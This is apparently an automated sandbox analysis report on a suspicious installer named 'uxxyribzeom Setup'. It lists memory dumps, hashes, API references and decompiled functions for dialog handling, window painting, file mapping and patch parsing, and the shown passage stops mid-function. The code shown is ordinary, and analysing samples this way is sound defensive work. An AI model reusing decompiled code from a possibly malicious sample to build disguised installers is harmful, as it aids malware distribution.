Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bbdad97bb17a5ff055e69906c079b617eb94460f5a0421ac06489bdc53da05e
Instruction ID: a2a927cf72c9c511bcb35ccac208cb71a63373bf6752b217303aaf60ff8fb73b
Opcode Fuzzy Hash: 1bbdad97bb17a5ff055e69906c079b617eb94460f5a0421ac06489bdc53da05e
Instruction Fuzzy Hash: 27D1151585D2ECADDF06CBE984517FCBFB05E26106F0841CAE4E5E6283C13A938EDB25

Uniqueness

Uniqueness Score: -1.00%

Function 72E46A3A, Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c870fb9f010144f60215e6af2c2e33fc44dccb9e5df076f5459ec01646b710bb
Instruction ID: a4ea88ca427c0aa177f7ee9ce23e4c3c6ce76faf5dbcae8edceddc71fabf3fdb
Opcode Fuzzy Hash: c870fb9f010144f60215e6af2c2e33fc44dccb9e5df076f5459ec01646b710bb
Instruction Fuzzy Hash: 78C1151485D2ECADDF06CBE985617FCBFB05E26102F0841C6E0E5E6283C13A938EDB21

Uniqueness

Uniqueness Score: -1.00%

Function 72E46616, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33a51492acd799fda5257bf088777f214ccb1d9f9f441b58e2bbc693c92cdb2e
Instruction ID: 66082d42497a5296eb3fb107de83f685aa2071f433192f911617feaf36df2895
Opcode Fuzzy Hash: 33a51492acd799fda5257bf088777f214ccb1d9f9f441b58e2bbc693c92cdb2e
Instruction Fuzzy Hash: E911C6B1A00105AFCB109FADE4888AAF7FDEF45699B5080ADF806D7214EB70DE41C660

Uniqueness

Uniqueness Score: -1.00%

Function 72E46706, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc1e897972a7d9dc8875f39a415db8f1ab4cad54cee1718619e07451133396d9
Instruction ID: 2ecea21fcf098bb282fc4596e931acbaf9865e90425dc17aebcff25f98df5b0d
Opcode Fuzzy Hash: bc1e897972a7d9dc8875f39a415db8f1ab4cad54cee1718619e07451133396d9
Instruction Fuzzy Hash: E5E09A757606089FCB04CFACD989D55B3F8EB08320B008298F816CB3A0EA34FE00DA50

Uniqueness

Uniqueness Score: -1.00%

Function 72E46744, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction ID: dfd46b117a839f492baf28ea02859cb89b73a9b11383808787e805d070297f18
Opcode Fuzzy Hash: 2c0ee92d967234240d1aeaee57440cb1fca394a3c7c5a1b28cb5c43ac66d8783
Instruction Fuzzy Hash: D6E04F763115108BC3119B1DE584D42F3FAEB882B5715946DF95AD7610CA20FC008650

Uniqueness

Uniqueness Score: -1.00%

Function 72E466C7, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9C, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403F9C(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				intOrPtr _t71;
				intOrPtr _t85;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t107;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420518 =  *0x420518 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403EBB(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422ee0;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422ee0
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423f48, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423f48, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420518 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fd08 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403E76(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404227();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t107 =  *0x42371c; // 0x6f84cc
					_t113 =  *(_t107 - 4 + _t113 * 4);
				}
				_t71 =  *0x423f78; // 0x6f6e8c
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 + _t71;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403F68;
				E00403E54(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403E54(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403E76( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403E89(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t85 =  *0x423f50; // 0x6f2508
				_t86 =  *(_t85 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f4fc =  *0x41f4fc & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420518 =  *0x420518 & 0x00000000;
				return 0;
			}

0x00403fac
0x004040d2
0x0040412e
0x00404132
0x00404209
0x0040420b
0x0040420b
0x00404211
0x00404211
0x00404214
0x00000000
0x0040421b
0x00404140
0x00404142
0x0040414c
0x00404157
0x0040415a
0x0040415d
0x00404168
0x0040416b
0x00404172
0x00404180
0x00404198
0x004041a0
0x004041ab
0x004041bb
0x004041bd
0x004041bd
0x00404172
0x004041c7
0x00000000
0x004041d2
0x004041d6
0x004041e7
0x004041e7
0x004041ed
0x004041fb
0x004041fb
0x00000000
0x004041ff
0x004041c7
0x004040dd
0x00000000
0x004040f1
0x004040f7
0x004040fd
0x00000000
0x00000000
0x00404122
0x00404124
0x00404129
0x00000000
0x00404129
0x004040dd
0x00403fb2
0x00403fb5
0x00403fba
0x00403fbc
0x00403fcb
0x00403fcb
0x00403fcd
0x00403fd2
0x00403fd5
0x00403fd7
0x00403fdc
0x00403fe5
0x00403feb
0x00403ff7
0x00403ffa
0x00404003
0x00404008
0x0040400b
0x00404010
0x00404027
0x0040402e
0x00404041
0x00404044
0x00404059
0x0040405b
0x00404060
0x00404065
0x0040406a
0x0040406a
0x00404079
0x00404088
0x0040408a
0x004040a0
0x004040af
0x004040b1
0x00000000

APIs

CheckDlgButton.USER32 ref: 00404027
GetDlgItem.USER32 ref: 0040403B
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404059
GetSysColor.USER32(?), ref: 0040406A
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404079
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404088
lstrlenA.KERNEL32(?), ref: 00404092
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040A0
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040AF
GetDlgItem.USER32 ref: 00404112
SendMessageA.USER32(00000000), ref: 00404115
GetDlgItem.USER32 ref: 00404140
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404180
LoadCursorA.USER32 ref: 0040418F
SetCursor.USER32(00000000), ref: 00404198
ShellExecuteA.SHELL32(0000070B,open,.B,00000000,00000000,00000001), ref: 004041AB
LoadCursorA.USER32 ref: 004041B8
SetCursor.USER32(00000000), ref: 004041BB
SendMessageA.USER32(00000111,00000001,00000000), ref: 004041E7
SendMessageA.USER32(00000010,00000000,00000000), ref: 004041FB

Strings

.B, xrefs: 004041A0
open, xrefs: 004041A3
N, xrefs: 0040412E

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open$.B
API String ID: 3615053054-720656042
Opcode ID: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction ID: d52f05746bbb3f3b1d606d9c91532631e65720296560e4ea5c31ec00add49965
Opcode Fuzzy Hash: 1798247d7b7fc50258c29a0d8842d8596947dcfb78ae24f73fc7e5e40567b794
Instruction Fuzzy Hash: 0161D571A40309BBEB109F60DD45F6A7B69FB54715F108036FB04BA2D1C7B8AA51CF98

Uniqueness

Uniqueness Score: -1.00%

Function 72E43930, Relevance: 33.2, APIs: 22, Instructions: 209
fileCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E72E43930(void* _a4, void* _a8, void* _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				long _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				int _v24;
				void* _v28;
				void* _v32;
				long _v36;
				long _v40;
				signed int _v44;
				signed int _v48;
				struct _FILETIME _v56;
				long _v64;
				long* _t76;
				void* _t106;

				_v16 = 0;
				_v12 = 0;
				_v20 = 0;
				_v24 = 0;
				_v8 = 0;
				if(_a28 != 0 || (_a16 & 0x00000004) != 0) {
					_a12 = 0xffffffff;
					L6:
					if(_a4 == 0xffffffff) {
						SetLastError(6);
						return 0;
					}
					asm("xorps xmm0, xmm0");
					asm("movlpd [ebp-0x2c], xmm0");
					_t76 =  &_v64;
					__imp__GetFileSizeEx(_a4, _t76);
					if(_t76 == 0) {
						L11:
						return 0;
					} else {
						if(_a8 == 0xffffffff) {
							L12:
							_v32 = CreateFileMappingW(_a4, 0, 2, 0, 0, 0);
							if(_v32 != 0) {
								if(_a8 == 0xffffffff) {
									L17:
									_v28 = MapViewOfFile(_v32, 4, 0, 0, _v64);
									if(_v28 != 0) {
										if((_v48 | _v44) == 0) {
											L22:
											_v8 = E72E435C0(_v28, _v64, _v12, _v48,  &_v20, 0,  &_v40,  &_v56, _a16, _a20, _a24, _a28);
											if(_v8 == 0) {
												_v24 = 1;
												if(_a12 != 0xffffffff) {
													_v36 = 0;
													_v24 = WriteFile(_a12, _v20, _v40,  &_v36, 0);
													if(_v24 != 0) {
														if(_v56.dwLowDateTime != 0 || _v56.dwHighDateTime != 0) {
															SetFileTime(_a12,  &_v56, 0,  &_v56);
														}
													} else {
														_v8 = GetLastError();
													}
												}
											}
											if(_v20 != 0) {
												VirtualFree(_v20, 0, 0x8000);
											}
											if(_v12 != 0) {
												UnmapViewOfFile(_v12);
											}
											L34:
											UnmapViewOfFile(_v28);
											L35:
											if(_v16 != 0) {
												CloseHandle(_v16);
											}
											L37:
											CloseHandle(_v32);
											SetLastError(_v8);
											return _v24;
										}
										_v12 = MapViewOfFile(_v16, 4, 0, 0, _v48);
										if(_v12 != 0) {
											goto L22;
										}
										_v8 = GetLastError();
										goto L34;
									}
									_v8 = GetLastError();
									goto L35;
								}
								_v16 = CreateFileMappingW(_a8, 0, 2, 0, 0, 0);
								if(_v16 != 0) {
									goto L17;
								}
								_v8 = GetLastError();
								goto L37;
							}
							return 0;
						}
						_t106 = _a8;
						__imp__GetFileSizeEx(_t106,  &_v48);
						if(_t106 != 0) {
							goto L12;
						}
						goto L11;
					}
				} else {
					if(SetFilePointer(_a12, 0, 0, 0) == 0xffffffff || SetEndOfFile(_a12) == 0) {
						_v8 = GetLastError();
						return 0;
					} else {
						goto L6;
					}
				}
			}

0x72e43936
0x72e4393d
0x72e43944
0x72e4394b
0x72e43952
0x72e4395d
0x72e43967
0x72e439a3
0x72e439a7
0x72e439ab
0x00000000
0x72e439b1
0x72e439b8
0x72e439bb
0x72e439c0
0x72e439c8
0x72e439d0
0x72e439ea
0x00000000
0x72e439d2
0x72e439d6
0x72e439f1
0x72e43a05
0x72e43a0c
0x72e43a19
0x72e43a46
0x72e43a5a
0x72e43a61
0x72e43a77
0x72e43aa4
0x72e43ada
0x72e43ae1
0x72e43ae5
0x72e43af0
0x72e43af2
0x72e43b11
0x72e43b18
0x72e43b29
0x72e43b3f
0x72e43b3f
0x72e43b1a
0x72e43b20
0x72e43b20
0x72e43b18
0x72e43af0
0x72e43b49
0x72e43b56
0x72e43b56
0x72e43b60
0x72e43b66
0x72e43b66
0x72e43b6c
0x72e43b70
0x72e43b76
0x72e43b7a
0x72e43b80
0x72e43b80
0x72e43b86
0x72e43b8a
0x72e43b94
0x00000000
0x72e43b9a
0x72e43a8d
0x72e43a94
0x00000000
0x00000000
0x72e43a9c
0x00000000
0x72e43a9c
0x72e43a69
0x00000000
0x72e43a69
0x72e43a2f
0x72e43a36
0x00000000
0x00000000
0x72e43a3e
0x00000000
0x72e43a3e
0x00000000
0x72e43a0e
0x72e439dc
0x72e439e0
0x72e439e8
0x00000000
0x00000000
0x00000000
0x72e439e8
0x72e43970
0x72e43983
0x72e43999
0x00000000
0x00000000
0x00000000
0x00000000
0x72e43983

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 72E4397A
SetEndOfFile.KERNEL32(00000000), ref: 72E43989
GetLastError.KERNEL32 ref: 72E43993
SetLastError.KERNEL32(00000006), ref: 72E439AB
GetFileSizeEx.KERNEL32(000000FF,?), ref: 72E439C8
GetFileSizeEx.KERNEL32(000000FF,?), ref: 72E439E0
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 72E439FF
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 72E43A29
GetLastError.KERNEL32 ref: 72E43A38
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,?), ref: 72E43A54
GetLastError.KERNEL32 ref: 72E43A63
MapViewOfFile.KERNEL32(000000FF,00000004,00000000,00000000,?), ref: 72E43A87
GetLastError.KERNEL32 ref: 72E43A96
UnmapViewOfFile.KERNEL32(00000000), ref: 72E43B70
CloseHandle.KERNEL32(00000000), ref: 72E43B80
CloseHandle.KERNEL32(00000000), ref: 72E43B8A
SetLastError.KERNEL32(00000000), ref: 72E43B94

Memory Dump Source

Source File: 00000000.00000002.290479341.0000000072E41000.00000020.00020000.sdmp, Offset: 72E40000, based on PE: true

Associated: 00000000.00000002.290458874.0000000072E40000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290518667.0000000072E45000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.290525123.0000000072E46000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.290531660.0000000072E48000.00000002.00020000.sdmp Download File

Similarity

API ID: File$ErrorLast$View$CloseCreateHandleMappingSize$PointerUnmap
String ID:
API String ID: 2750380209-0
Opcode ID: 10dff32dc0e1532f1174af92790db29efd62dd7cc3266ef83c8417e95982777c
Instruction ID: 06248e471a01aba3e786b70173dbdcc50454759b777a295f885ab97bb7c99b7e
Opcode Fuzzy Hash: 10dff32dc0e1532f1174af92790db29efd62dd7cc3266ef83c8417e95982777c
Instruction Fuzzy Hash: E1816279940209EFDB10DFA5D859B9E77B9BF08754F30DA08FA12A61C0DB74A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				intOrPtr _t115;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423f50; // 0x6f2508
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, "uxxyribzeom Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					_t115 =  *0x423f48; // 0x50378
					 *((intOrPtr*)(_t102 + 4)) = _t115;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x00401019
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,uxxyribzeom Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
uxxyribzeom Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$uxxyribzeom Setup
API String ID: 941294808-3141361885
Opcode ID: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction ID: 81ce27436f0092abe3ce3185f2c65b9207eacd25275343976a1476a18aae1cf1
Opcode Fuzzy Hash: cae46454919e7fa79772e51e967b3c1ae0100adcfe078b8b521791772386bd0b
Instruction Fuzzy Hash: 06418B71804249AFCB058F95DD459AFBBB9FF44315F00802AF961AA2A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 72E42960, Relevance: 25.0, APIs: 2, Strings: 12, Instructions: 483
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E72E42960(void* __eflags, signed int* _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int* _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _t280;
				void* _t281;
				signed int _t296;
				signed int _t297;
				signed int _t298;
				signed int _t302;
				signed int _t303;
				intOrPtr _t330;
				intOrPtr _t331;
				signed int _t332;
				void* _t336;
				intOrPtr _t340;
				signed int _t341;
				signed int _t349;
				signed int _t357;
				signed int _t358;
				signed int _t367;
				signed int _t370;
				void* _t530;
				void* _t531;
				void* _t532;
				void* _t536;
				void* _t537;
				void* _t544;
				void* _t545;
				void* _t546;
				void* _t548;

				_a4[6] = _a8;
				_a4[7] = _a8 + _a12;
				_t374 = _a4;
				_a4[5] = 0;
				_a4[8] = 0;
				_t280 = E72E425E0(_a4, _a4);
				_t531 = _t530 + 4;
				if(_t280 == 0x39314150) {
					_t281 = E72E425E0(_t374, _a4);
					_t532 = _t531 + 4;
					 *_a4 = _t281;
					if(( *_a4 & 0x80ff0007) ==  *_a4) {
						if(( *_a4 & 0x80000000) != 0) {
							0x72e40000("skipping extra flag field\n");
							E72E425E0(_a4, _a4);
							_t532 = _t532 + 8;
						}
						if(( *_a4 & 0x00800000) != 0) {
							_t367 = E72E425E0(_a4, _a4);
							_t532 = _t532 + 4;
							_a4[1] = _t367;
						}
						if(( *_a4 & 0x00040000) == 0) {
							0x72e40000("skipping rebase field\n");
							E72E42670(_a4);
							_t532 = _t532 + 8;
						}
						_a4[2] = E72E42670(_a4);
						0x72e40000("patched file size will be %u\n", _a4[2]);
						_a4[3] = E72E425E0(_a4, _a4);
						_a4[4] =  *(_a4[6]) & 0x000000ff;
						_a4[6] = _a4[6] + 1;
						0x72e40000("patch supports %u old file(s)\n", _a4[4]);
						_t536 = _t532 + 0x18;
						_t296 = _a4;
						if( *((intOrPtr*)(_t296 + 0x10)) != 0) {
							if(_a4[8] == 0) {
								_t297 = _a4;
								0x72e40000( *((intOrPtr*)(_t297 + 0x10)), 0x140c);
								_t537 = _t536 + 8;
								_a4[5] = _t297;
								_t298 = _a4;
								if( *((intOrPtr*)(_t298 + 0x14)) != 0) {
									_v20 = 0;
									while(_v20 < _a4[4]) {
										_v8 = _v20 * 0x140c + _a4[5];
										_v44 = E72E42780(_a4);
										 *_v8 = _a4[2] + _v44;
										 *((intOrPtr*)(_v8 + 4)) = E72E425E0(_v8, _a4);
										 *(_v8 + 8) =  *(_a4[6]);
										_a4[6] = _a4[6] + 1;
										0x72e40000("found %u range(s) to ignore\n",  *(_v8 + 8) & 0x000000ff);
										_t544 = _t537 + 0x10;
										_v12 = 0;
										while(_v12 < ( *(_v8 + 8) & 0x000000ff)) {
											_v24 = _v8 + 0xc + _v12 * 8;
											 *_v24 = E72E42780(_a4);
											_t357 = E72E42670(_a4);
											_t544 = _t544 + 8;
											_v24[1] = _t357;
											if(_v12 != 0) {
												 *_v24 =  *((intOrPtr*)(_v8 + 4 + _v12 * 8)) +  *((intOrPtr*)(_v8 + 8 + _v12 * 8)) +  *_v24;
											}
											_t358 =  *_v24;
											if(_t358 >  *_v8) {
												L27:
												_a4[8] = 0xc00e4102;
												return _t358 | 0xffffffff;
											} else {
												_t358 = _v24;
												if( *_v24 +  *((intOrPtr*)(_t358 + 4)) >  *_v8) {
													goto L27;
												}
												_t358 = _v8;
												if(_v24[1] <=  *_t358) {
													_v12 = _v12 + 1;
													continue;
												}
												goto L27;
											}
										}
										 *(_v8 + 9) =  *(_a4[6]);
										_a4[6] = _a4[6] + 1;
										0x72e40000("found %u range(s) to retain\n",  *(_v8 + 9) & 0x000000ff);
										_t545 = _t544 + 8;
										_v12 = 0;
										while(_v12 < ( *(_v8 + 9) & 0x000000ff)) {
											_v16 = _v8 + 0x804 + _v12 * 0xc;
											_t336 = E72E42780(_a4);
											_t548 = _t545 + 4;
											 *_v16 = _t336;
											if(_v12 != 0) {
												 *_v16 =  *((intOrPtr*)(_v8 + 0x804 + (_v12 - 1) * 0xc)) +  *((intOrPtr*)(_v8 + 0x808 + (_v12 - 1) * 0xc)) +  *_v16;
											}
